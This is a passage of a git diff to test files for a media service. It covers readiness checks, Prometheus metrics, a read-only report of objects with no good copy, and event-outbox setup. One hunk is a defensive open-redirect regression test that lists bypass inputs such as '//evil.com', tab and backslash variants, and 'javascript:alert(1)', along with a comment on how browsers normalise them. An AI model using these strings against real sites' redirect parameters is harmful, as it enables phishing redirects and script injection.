events: { status: () => ({ enabled: false }) }, remote: { configured: () => false, probe: async () => true },++ });++ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });++ const base = `http://127.0.0.1:${server.address().port}`;++ const ready = await request(base, '/api/ready');++ const body = JSON.parse(ready.body);++ assert.strictEqual(ready.status, 200, 'no good copy never fails readiness');++ assert.strictEqual(body.ready, true);++ assert.strictEqual(body.status, 'degraded');++ assert.deepStrictEqual(body.degraded, ['object_copies']);++ assert.strictEqual(body.checks.object_copies.required, false);++ assert.strictEqual(body.checks.object_copies.detail.no_good_copy, 3);++ assert.match(body.checks.object_copies.error, /^3 ready object\(s\) with no good copy/);++ const m = await request(base, '/metrics');++ assert.ok(m.body.includes('media_objects_no_good_copy 3\n'), m.body);++ assert.match(m.body, /media_verify_last_run_timestamp_seconds \d{10}\n/);++ server.close(); inst.stop();++ console.log('✅ no-good-copy count on /metrics and as a degraded, never-failing /api/ready check');++++ // ── Report script (read-only) ──++ const script = path.join(__dirname, '..', 'scripts', 'no-good-copy-report.js');++ const { runScript } = require('./helpers/run-script');++ const run = async (a) => await runScript(script, a, { env });++ const snapBefore = JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(await d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all());++ const js = await run(['--json']);++ assert.strictEqual(js.code, 1, `objects found → exit 1 ${js.err || ''}`);++ const rep = JSON.parse(js.out);++ assert.strictEqual(rep.count, 3);++ assert.deepStrictEqual(rep.objects.map(o => o.object_id).sort(), [ids.remoteCorrupt, ids.localGone, ids.noLocations].sort());++ const gone = rep.objects.find(o => o.object_id === ids.localGone);++ assert.deepStrictEqual(gone.owner, { app: 'live', user_id: 7, subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });++ assert.strictEqual(gone.references.vods[0].id, 41);++ assert.strictEqual(gone.references.vods[0].title, 'Lost stream');++ assert.strictEqual(gone.locations[0].state, 'missing');++ assert.strictEqual(gone.last_verification.status, 'no_good_copy');++ assert.strictEqual(rep.objects.find(o => o.object_id === ids.noLocations).locations.length, 0);++ const txt = await run([]);++ assert.strictEqual(txt.code, 1);++ assert.ok(txt.out.includes('3 ready object(s) with no good copy'));++ assert.ok(txt.out.includes(ids.localGone) && txt.out.includes('vods#41') && txt.out.includes('locations: (none recorded)'));++ assert.ok((await run(['--app', 'games'])).out.startsWith('0 ready object(s)'), '--app filters');++ assert.strictEqual(JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(await d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all()), snapBefore, 'the report writes nothing');++ console.log('✅ no-good-copy report: owners, legacy references, locations; text + --json; read-only');++++ // ── Scheduling: disabled by env; start/stop are idempotent ──++ config.verify.enabled = false;++ assert.strictEqual(job.start(), false);++ config.verify.enabled = true;++ assert.strictEqual(job.start({ initialDelayMs: 60 * 60 * 1000 }), true);++ job.stop();++++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('objects-verify: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,176 +10,178 @@ const http = require('http');const net = require('net');const { spawn } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const ENV = {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),-- THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),-- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', RELEASE_COMMIT: 'abcdef1234567',--};--for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL']) process.env[k] = ''; // never a real tier or Events (dotenv keeps set values)--Object.assign(process.env, ENV);++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ const ENV = {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),++ THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),++ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', RELEASE_COMMIT: 'abcdef1234567',++ };++ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL']) process.env[k] = ''; // never a real tier or Events (dotenv keeps set values)++ Object.assign(process.env, ENV);--const db = require('../server/db/database');--const config = require('../server/config');--const express = require('express');--const observability = require('../server/observability');++ const db = require('../server/db/database');++ const config = require('../server/config');++ const express = require('express');++ const observability = require('../server/observability');--function request(base, p, headers = {}) {-- return new Promise((resolve, reject) => {-- http.get(base + p, { headers }, (res) => {-- let b = ''; res.on('data', (d) => { b += d; });-- res.on('end', () => resolve({ status: res.statusCode, body: b }));-- }).on('error', reject);-- });--}--const listen = (app) => new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });++ function request(base, p, headers = {}) {++ return new Promise((resolve, reject) => {++ http.get(base + p, { headers }, (res) => {++ let b = ''; res.on('data', (d) => { b += d; });++ res.on('end', () => resolve({ status: res.statusCode, body: b }));++ }).on('error', reject);++ });++ }++ const listen = (app) => new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });--(async () => {-- db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ (async () => {++ db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- // ── Wiring as in index.js, with injectable dependencies ──-- let jwks = true; let remoteUp = true; let remoteProbes = 0; let outbox = { enabled: true, pending: 2, rejected: 1 }; let recording = 1;-- const app = express();-- const inst = observability.instrument(app, { release: 'abcdef123456' });-- app.use('/o', require('express').Router().get('/:id', (req, res) => res.status(404).json({ error: 'Not found' })));-- observability.mountReady(app, inst.registry, {-- release: 'abcdef123456', db, config,-- auth: { jwksLoaded: () => jwks },-- recorder: { activeCount: () => recording },-- events: { status: () => outbox },-- remote: { configured: (n) => n === 'b2', probe: async () => { remoteProbes++; if (!remoteUp) throw new Error('b2 HeadBucket failed: NetworkingError'); return true; } },-- });-- const server = await listen(app);-- const base = `http://127.0.0.1:${server.address().port}`;++ // ── Wiring as in index.js, with injectable dependencies ──++ let jwks = true; let remoteUp = true; let remoteProbes = 0; let outbox = { enabled: true, pending: 2, rejected: 1 }; let recording = 1;++ const app = express();++ const inst = observability.instrument(app, { release: 'abcdef123456' });++ app.use('/o', require('express').Router().get('/:id', (req, res) => res.status(404).json({ error: 'Not found' })));++ observability.mountReady(app, inst.registry, {++ release: 'abcdef123456', db, config,++ auth: { jwksLoaded: () => jwks },++ recorder: { activeCount: () => recording },++ events: { status: () => outbox },++ remote: { configured: (n) => n === 'b2', probe: async () => { remoteProbes++; if (!remoteUp) throw new Error('b2 HeadBucket failed: NetworkingError'); return true; } },++ });++ const server = await listen(app);++ const base = `http://127.0.0.1:${server.address().port}`;-- let r = await request(base, '/api/ready');-- assert.strictEqual(r.status, 200, r.body);-- let body = JSON.parse(r.body);-- assert.strictEqual(body.ready, true);-- assert.strictEqual(body.status, 'ready');-- assert.strictEqual(body.service, 'media');-- assert.strictEqual(body.recordings_in_progress, 1);-- const names = Object.keys(body.checks).sort();-- assert.deepStrictEqual(names, ['db', 'events_outbox', 'network_jwks', 'object_copies', 'remote_b2', 'remote_r2', 'storage_clips', 'storage_files', 'storage_objects', 'storage_pastes', 'storage_thumbnails', 'storage_vods']);-- // r2 is not configured: listed as skipped with the reason, never a pretend pass (WS-Q task 7), and an optional-- // skip leaves the verified service ready.-- assert.deepStrictEqual([body.checks.remote_r2.status, body.checks.remote_r2.reason], ['skipped', 'not configured']);-- assert.deepStrictEqual(body.skipped, ['remote_r2']);-- for (const [n, c] of Object.entries(body.checks)) {-- if (n === 'remote_r2') continue;-- assert.strictEqual(c.status, 'ok', n);-- assert.strictEqual(typeof c.latency_ms, 'number');-- assert.ok(Date.parse(c.checked_at));-- assert.strictEqual(c.required, n === 'db' || n.startsWith('storage_'), `${n} required?`);-- }-- assert.deepStrictEqual(body.checks.db.detail, { apps: 1 });-- assert.deepStrictEqual(fs.readdirSync(config.vod.path), [], 'the write probe leaves nothing behind');++ let r = await request(base, '/api/ready');++ assert.strictEqual(r.status, 200, r.body);++ let body = JSON.parse(r.body);++ assert.strictEqual(body.ready, true);++ assert.strictEqual(body.status, 'ready');++ assert.strictEqual(body.service, 'media');++ assert.strictEqual(body.recordings_in_progress, 1);++ const names = Object.keys(body.checks).sort();++ assert.deepStrictEqual(names, ['db', 'events_outbox', 'network_jwks', 'object_copies', 'remote_b2', 'remote_r2', 'storage_clips', 'storage_files', 'storage_objects', 'storage_pastes', 'storage_thumbnails', 'storage_vods', 'valkey']);++ // r2 is not configured: listed as skipped with the reason, never a pretend pass (WS-Q task 7), and an optional++ // skip leaves the verified service ready.++ assert.deepStrictEqual([body.checks.remote_r2.status, body.checks.remote_r2.reason], ['skipped', 'not configured']);++ assert.deepStrictEqual(body.skipped.sort(), ['remote_r2', 'valkey'], 'Valkey too: no VALKEY_URL in this test');++ for (const [n, c] of Object.entries(body.checks)) {++ if (n === 'remote_r2' || n === 'valkey') continue;++ assert.strictEqual(c.status, 'ok', n);++ assert.strictEqual(typeof c.latency_ms, 'number');++ assert.ok(Date.parse(c.checked_at));++ assert.strictEqual(c.required, n === 'db' || n.startsWith('storage_'), `${n} required?`);++ }++ assert.deepStrictEqual([body.checks.db.detail.apps, body.checks.db.detail.store], [1, 'pglite'].map((v, i) => (i === 1 && process.env.MEDIA_TEST_STORE === 'pg' ? 'postgresql' : v)));++ assert.deepStrictEqual(fs.readdirSync(config.vod.path), [], 'the write probe leaves nothing behind');-- // Optional failures: degraded, still 200.-- jwks = false; remoteUp = false; outbox = { enabled: true, pending: 5000, rejected: 0 };-- r = await request(base, '/api/ready');-- body = JSON.parse(r.body);-- assert.strictEqual(r.status, 200);-- assert.strictEqual(body.status, 'degraded');-- assert.deepStrictEqual(body.degraded.sort(), ['events_outbox', 'network_jwks']);-- assert.strictEqual(body.checks.remote_b2.status, 'ok', 'the remote tier probe is cached for a minute');-- assert.strictEqual(remoteProbes, 1);++ // Optional failures: degraded, still 200.++ jwks = false; remoteUp = false; outbox = { enabled: true, pending: 5000, rejected: 0 };++ r = await request(base, '/api/ready');++ body = JSON.parse(r.body);++ assert.strictEqual(r.status, 200);++ assert.strictEqual(body.status, 'degraded');++ assert.deepStrictEqual(body.degraded.sort(), ['events_outbox', 'network_jwks']);++ assert.strictEqual(body.checks.remote_b2.status, 'ok', 'the remote tier probe is cached for a minute');++ assert.strictEqual(remoteProbes, 1);-- // A remote-tier failure on a fresh readiness (no cache): degraded, never "down".-- const fresh = observability.createMediaReadiness({ release: 'x', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) }, remote: { configured: () => true, probe: async (n) => { throw new Error(`${n} HeadBucket failed: AccessDenied`); } } });-- body = await fresh.run();-- assert.strictEqual(body.ready, true);-- assert.deepStrictEqual(body.degraded, ['remote_b2', 'remote_r2']);-- assert.strictEqual(body.checks.remote_r2.error, 'r2 HeadBucket failed: AccessDenied');-- assert.deepStrictEqual(body.checks.events_outbox.detail, { enabled: false });-- assert.strictEqual(body.checks.events_outbox.status, 'skipped', 'a relay that is off verified nothing: skipped, never ok');-- assert.match(body.checks.events_outbox.reason, /relay off/);++ // A remote-tier failure on a fresh readiness (no cache): degraded, never "down".++ const fresh = observability.createMediaReadiness({ release: 'x', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) }, remote: { configured: () => true, probe: async (n) => { throw new Error(`${n} HeadBucket failed: AccessDenied`); } } });++ body = await fresh.run();++ assert.strictEqual(body.ready, true);++ assert.deepStrictEqual(body.degraded, ['remote_b2', 'remote_r2']);++ assert.strictEqual(body.checks.remote_r2.error, 'r2 HeadBucket failed: AccessDenied');++ assert.deepStrictEqual(body.checks.events_outbox.detail, { enabled: false });++ assert.strictEqual(body.checks.events_outbox.status, 'skipped', 'a relay that is off verified nothing: skipped, never ok');++ assert.match(body.checks.events_outbox.reason, /relay off/);-- // A storage directory that cannot be written: not ready, 503, named.-- jwks = true; outbox = { enabled: false };-- fs.rmSync(config.vod.clipsPath, { recursive: true });-- fs.writeFileSync(config.vod.clipsPath, 'not a directory');-- r = await request(base, '/api/ready');-- body = JSON.parse(r.body);-- assert.strictEqual(r.status, 503);-- assert.strictEqual(body.ready, false);-- assert.deepStrictEqual(body.failed, ['storage_clips']);-- fs.rmSync(config.vod.clipsPath); fs.mkdirSync(config.vod.clipsPath);++ // A storage directory that cannot be written: not ready, 503, named.++ jwks = true; outbox = { enabled: false };++ fs.rmSync(config.vod.clipsPath, { recursive: true });++ fs.writeFileSync(config.vod.clipsPath, 'not a directory');++ r = await request(base, '/api/ready');++ body = JSON.parse(r.body);++ assert.strictEqual(r.status, 503);++ assert.strictEqual(body.ready, false);++ assert.deepStrictEqual(body.failed, ['storage_clips']);++ fs.rmSync(config.vod.clipsPath); fs.mkdirSync(config.vod.clipsPath);-- // ── /metrics ──-- await request(base, '/o/med_01J9ZX4YQ0ABCDEFGHJKMNPQRS');-- await request(base, '/assets/icon-192.png');-- recording = 2;-- r = await request(base, '/metrics');-- assert.strictEqual(r.status, 200);-- assert.ok(r.body.includes('release_info{service="media",release="abcdef123456"} 1\n'));-- assert.ok(r.body.includes('http_requests_total{method="GET",route="/o/:id",status_class="4xx"} 1\n'), 'object ids never reach a label');-- assert.ok(r.body.includes('http_requests_total{method="GET",route="/assets/*",status_class="4xx"} 1\n'));-- assert.ok(r.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"}'));-- assert.ok(!r.body.includes('med_01J9'));-- assert.ok(r.body.includes('media_recordings_in_progress 2\n'));-- assert.ok(r.body.includes('# TYPE media_object_locations gauge'));-- assert.ok(r.body.includes('# TYPE media_objects gauge'));-- assert.ok(!r.body.includes('media_events_outbox{'), 'no outbox running: no invented series');-- r = await request(base, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });-- assert.strictEqual(r.status, 404, 'proxied callers never see metrics');-- server.close();-- inst.stop();++ // ── /metrics ──++ await request(base, '/o/med_01J9ZX4YQ0ABCDEFGHJKMNPQRS');++ await request(base, '/assets/icon-192.png');++ recording = 2;++ r = await request(base, '/metrics');++ assert.strictEqual(r.status, 200);++ assert.ok(r.body.includes('release_info{service="media",release="abcdef123456"} 1\n'));++ assert.ok(r.body.includes('http_requests_total{method="GET",route="/o/:id",status_class="4xx"} 1\n'), 'object ids never reach a label');++ assert.ok(r.body.includes('http_requests_total{method="GET",route="/assets/*",status_class="4xx"} 1\n'));++ assert.ok(r.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"}'));++ assert.ok(!r.body.includes('med_01J9'));++ assert.ok(r.body.includes('media_recordings_in_progress 2\n'));++ assert.ok(r.body.includes('# TYPE media_object_locations gauge'));++ assert.ok(r.body.includes('# TYPE media_objects gauge'));++ assert.ok(!r.body.includes('media_events_outbox{'), 'no outbox running: no invented series');++ r = await request(base, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });++ assert.strictEqual(r.status, 404, 'proxied callers never see metrics');++ server.close();++ inst.stop();-- // ── The real index.js boots with both routes ──-- const port = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });-- const bootDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-boot-'));-- const env = { ...process.env, ...ENV, DB_PATH: path.join(bootDir, 'media.db'), PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test' };-- for (const k of ['VOD_PATH', 'CLIPS_PATH', 'PASTES_PATH', 'THUMBNAILS_PATH', 'FILES_PATH', 'OBJECTS_PATH', 'ASSETS_PATH']) env[k] = path.join(bootDir, k.toLowerCase());-- const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });-- let log = ''; child.stdout.on('data', (d) => { log += d; }); child.stderr.on('data', (d) => { log += d; });-- const b2 = `http://127.0.0.1:${port}`;-- let up = null;-- for (let i = 0; i < 100 && !up; i++) {-- await new Promise((res) => setTimeout(res, 100));-- try { up = await request(b2, '/api/ready'); } catch { /* not listening yet */ }-- }-- try {-- assert.ok(up, `server did not start:\n${log}`);-- body = JSON.parse(up.body);-- assert.strictEqual(up.status, 200, up.body);-- assert.strictEqual(body.release, 'abcdef123456');-- assert.ok(body.checks.db && body.checks.storage_objects);-- assert.strictEqual(body.checks.remote_b2.status, 'skipped', 'an unconfigured tier is not probed: skipped, never ok');-- const m = await request(b2, '/metrics');-- assert.strictEqual(m.status, 200);-- assert.ok(m.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"} 1\n'), m.body.slice(0, 400));-- const h = await request(b2, '/healthz');-- assert.strictEqual(h.status, 200, '/healthz still answers');-- // An unknown path is index.js's last handler (server/not-found.js): a 404 whose CSP lets Cloudflare's beacon run.-- const nf = await new Promise((resolve, reject) => http.get(`${b2}/__ovcheck-404`, { headers: { accept: 'text/html' } }, (res) => {-- let b = ''; res.on('data', (d) => { b += d; }); res.on('end', () => resolve({ status: res.statusCode, csp: res.headers['content-security-policy'], body: b }));-- }).on('error', reject));-- assert.deepStrictEqual([nf.status, nf.csp], [404, require('../server/not-found').CSP]);-- assert.ok(nf.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'));-- // The release manifest (registry.release-manifest@1) names where open tabs report updates,-- // and those reports land in /metrics.-- const rel = await request(b2, '/release.json');-- assert.strictEqual(rel.status, 200);-- const manifest = JSON.parse(rel.body);-- assert.strictEqual(manifest.service, 'media');-- assert.strictEqual(manifest.release, 'abcdef123456');-- assert.deepStrictEqual(require('openvibe-contracts').validate('registry.release-manifest@1', manifest).errors, []);-- assert.strictEqual(manifest.metrics_url, '/release-metrics');-- const report = await new Promise((resolve, reject) => {-- const req = http.request(`${b2}/release-metrics`, { method: 'POST', headers: { 'Content-Type': 'text/plain' } }, (res) => { res.resume(); res.on('end', () => resolve(res.statusCode)); });-- req.on('error', reject);-- req.end(JSON.stringify({ counts: { reloaded: { user: 2 }, deferred: { typing: 1 } } }));-- });-- assert.strictEqual(report, 204);-- const m2 = await request(b2, '/metrics');-- assert.ok(m2.body.includes('release_client_updates_total{outcome="reloaded",reason="user"} 2\n'), m2.body.slice(0, 400));-- assert.ok(m2.body.includes('release_client_updates_total{outcome="deferred",reason="typing"} 1\n'));-- } finally {-- child.kill('SIGKILL');-- }-- console.log('observability: all checks passed');-- process.exit(0);++ // ── The real index.js boots with both routes ──++ const port = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });++ const bootDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-boot-'));++ const env = { ...process.env, ...ENV, DB_PATH: path.join(bootDir, 'media.db'), MEDIA_PGLITE_DIR: path.join(bootDir, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test' };++ for (const k of ['VOD_PATH', 'CLIPS_PATH', 'PASTES_PATH', 'THUMBNAILS_PATH', 'FILES_PATH', 'OBJECTS_PATH', 'ASSETS_PATH']) env[k] = path.join(bootDir, k.toLowerCase());++ const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });++ let log = ''; child.stdout.on('data', (d) => { log += d; }); child.stderr.on('data', (d) => { log += d; });++ const b2 = `http://127.0.0.1:${port}`;++ let up = null;++ for (let i = 0; i < 100 && !up; i++) {++ await new Promise((res) => setTimeout(res, 100));++ try { up = await request(b2, '/api/ready'); } catch { /* not listening yet */ }++ }++ try {++ assert.ok(up, `server did not start:\n${log}`);++ body = JSON.parse(up.body);++ assert.strictEqual(up.status, 200, up.body);++ assert.strictEqual(body.release, 'abcdef123456');++ assert.ok(body.checks.db && body.checks.storage_objects);++ assert.strictEqual(body.checks.remote_b2.status, 'skipped', 'an unconfigured tier is not probed: skipped, never ok');++ const m = await request(b2, '/metrics');++ assert.strictEqual(m.status, 200);++ assert.ok(m.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"} 1\n'), m.body.slice(0, 400));++ const h = await request(b2, '/healthz');++ assert.strictEqual(h.status, 200, '/healthz still answers');++ // An unknown path is index.js's last handler (server/not-found.js): a 404 whose CSP lets Cloudflare's beacon run.++ const nf = await new Promise((resolve, reject) => http.get(`${b2}/__ovcheck-404`, { headers: { accept: 'text/html' } }, (res) => {++ let b = ''; res.on('data', (d) => { b += d; }); res.on('end', () => resolve({ status: res.statusCode, csp: res.headers['content-security-policy'], body: b }));++ }).on('error', reject));++ assert.deepStrictEqual([nf.status, nf.csp], [404, require('../server/not-found').CSP]);++ assert.ok(nf.body.includes('<pre>Cannot GET /__ovcheck-404</pre>'));++ // The release manifest (registry.release-manifest@1) names where open tabs report updates,++ // and those reports land in /metrics.++ const rel = await request(b2, '/release.json');++ assert.strictEqual(rel.status, 200);++ const manifest = JSON.parse(rel.body);++ assert.strictEqual(manifest.service, 'media');++ assert.strictEqual(manifest.release, 'abcdef123456');++ assert.deepStrictEqual(require('openvibe-contracts').validate('registry.release-manifest@1', manifest).errors, []);++ assert.strictEqual(manifest.metrics_url, '/release-metrics');++ const report = await new Promise((resolve, reject) => {++ const req = http.request(`${b2}/release-metrics`, { method: 'POST', headers: { 'Content-Type': 'text/plain' } }, (res) => { res.resume(); res.on('end', () => resolve(res.statusCode)); });++ req.on('error', reject);++ req.end(JSON.stringify({ counts: { reloaded: { user: 2 }, deferred: { typing: 1 } } }));++ });++ assert.strictEqual(report, 204);++ const m2 = await request(b2, '/metrics');++ assert.ok(m2.body.includes('release_client_updates_total{outcome="reloaded",reason="user"} 2\n'), m2.body.slice(0, 400));++ assert.ok(m2.body.includes('release_client_updates_total{outcome="deferred",reason="typing"} 1\n'));++ } finally {++ child.kill('SIGKILL');++ }++ console.log('observability: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -3,18 +3,20 @@// newline characters from a URL and read a backslash as "/", so "/<TAB>/evil.com" is "//evil.com" to them;// until 2026-09-26 it got through here.const assert = require('assert');--const { sanitizeNext } = require('../server/user-auth');++(async () => {++ const { sanitizeNext } = require('../server/user-auth');--const config = { baseUrl: 'https://site.openvibe.test', networkUrl: 'https://openvibe.network' };--const home = (v) => {-- const out = String(sanitizeNext(v, config));-- const host = new URL(out.replace(/[\t\n\r]/g, ''), 'https://site.openvibe.test').host;-- return host === 'site.openvibe.test' || host === 'openvibe.network';--};--for (const v of ['//evil.com', '/\\evil.com', '\\\\evil.com', 'https://evil.com', 'http:evil.com', '/\t/evil.com', '/\n/evil.com', '\t//evil.com',-- ' //evil.com', '/\\/evil.com', 'https:/\\evil.com', '///evil.com', 'javascript:alert(1)', '/%09/evil.com']) {-- assert.ok(home(v), `${JSON.stringify(v)} stays on the site (got ${JSON.stringify(sanitizeNext(v, config))})`);-- assert.ok(!/^\s*javascript:/i.test(String(sanitizeNext(v, config))), JSON.stringify(v));--}--assert.strictEqual(sanitizeNext('/settings?tab=a', config), '/settings?tab=a', 'a plain relative path is kept');--console.log('open redirect: all checks passed');++ const config = { baseUrl: 'https://site.openvibe.test', networkUrl: 'https://openvibe.network' };++ const home = (v) => {++ const out = String(sanitizeNext(v, config));++ const host = new URL(out.replace(/[\t\n\r]/g, ''), 'https://site.openvibe.test').host;++ return host === 'site.openvibe.test' || host === 'openvibe.network';++ };++ for (const v of ['//evil.com', '/\\evil.com', '\\\\evil.com', 'https://evil.com', 'http:evil.com', '/\t/evil.com', '/\n/evil.com', '\t//evil.com',++ ' //evil.com', '/\\/evil.com', 'https:/\\evil.com', '///evil.com', 'javascript:alert(1)', '/%09/evil.com']) {++ assert.ok(home(v), `${JSON.stringify(v)} stays on the site (got ${JSON.stringify(sanitizeNext(v, config))})`);++ assert.ok(!/^\s*javascript:/i.test(String(sanitizeNext(v, config))), JSON.stringify(v));++ }++ assert.strictEqual(sanitizeNext('/settings?tab=a', config), '/settings?tab=a', 'a plain relative path is kept');++ console.log('open redirect: all checks passed');++})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,145 +12,148 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-outbox-tx-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-outbox-tx-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');--const hooks = [];--const stub = http.createServer((req, res) => {-- let body = '';-- req.on('data', (c) => { body += c; });-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- if (req.url === '/api/v1/events') {-- const parsed = JSON.parse(body);-- const list = parsed.events || [parsed];-- const results = list.map((e, i) => ({ event_id: e.event_id, seq: i + 1, duplicate: false }));-- return res.end(JSON.stringify(parsed.events ? { results } : results[0]));-- }-- if (req.url === '/hook') {-- hooks.push({ body, signature: req.headers['x-ovmedia-signature'] });-- return res.end('{"ok":true}');-- }-- res.statusCode = 404; res.end('{}');++ const hooks = [];++ const stub = http.createServer((req, res) => {++ let body = '';++ req.on('data', (c) => { body += c; });++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ if (req.url === '/api/v1/events') {++ const parsed = JSON.parse(body);++ const list = parsed.events || [parsed];++ const results = list.map((e, i) => ({ event_id: e.event_id, seq: i + 1, duplicate: false }));++ return res.end(JSON.stringify(parsed.events ? { results } : results[0]));++ }++ if (req.url === '/hook') {++ hooks.push({ body, signature: req.headers['x-ovmedia-signature'] });++ return res.end('{"ok":true}');++ }++ res.statusCode = 404; res.end('{}');++ });});--});--const waitFor = async (fn, ms = 3000) => {-- const end = Date.now() + ms;-- while (Date.now() < end) { if (fn()) return true; await new Promise((r) => setTimeout(r, 20)); }-- return false;--};++ const waitFor = async (fn, ms = 3000) => {++ const end = Date.now() + ms;++ while (Date.now() < end) { if (fn()) return true; await new Promise((r) => setTimeout(r, 20)); }++ return false;++ };--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const raw = db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'k', webhook_url: `${base}/hook`, webhook_secret: 'hook-secret' });++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const raw = db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'k', webhook_url: `${base}/hook`, webhook_secret: 'hook-secret' });-- const events = require('../server/events');-- const { announce } = require('../server/webhooks');-- // A long relay interval: the test reads the outbox table, the relay is not under test here.-- assert.ok(events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 }));-- const outboxRows = () => raw.prepare('SELECT event_id, envelope FROM event_outbox ORDER BY id').all().map((r) => ({ id: r.event_id, env: JSON.parse(r.envelope) }));-- const failOutboxInserts = (on) => raw.exec(on-- ? "CREATE TEMP TRIGGER outbox_boom BEFORE INSERT ON event_outbox BEGIN SELECT RAISE(ABORT, 'outbox insert failed'); END"-- : 'DROP TRIGGER IF EXISTS temp.outbox_boom');++ const events = require('../server/events');++ const { announce } = require('../server/webhooks');++ // A long relay interval: the test reads the outbox table, the relay is not under test here.++ const outbox = events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ assert.ok(outbox);++ const outboxRows = async () => (await raw.prepare('SELECT event_id, envelope FROM event_outbox ORDER BY id').all()).map((r) => ({ id: r.event_id, env: (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope) }));++ // The outbox insert fails inside the change's transaction (as a full disk or a constraint would).++ const realEnqueue = 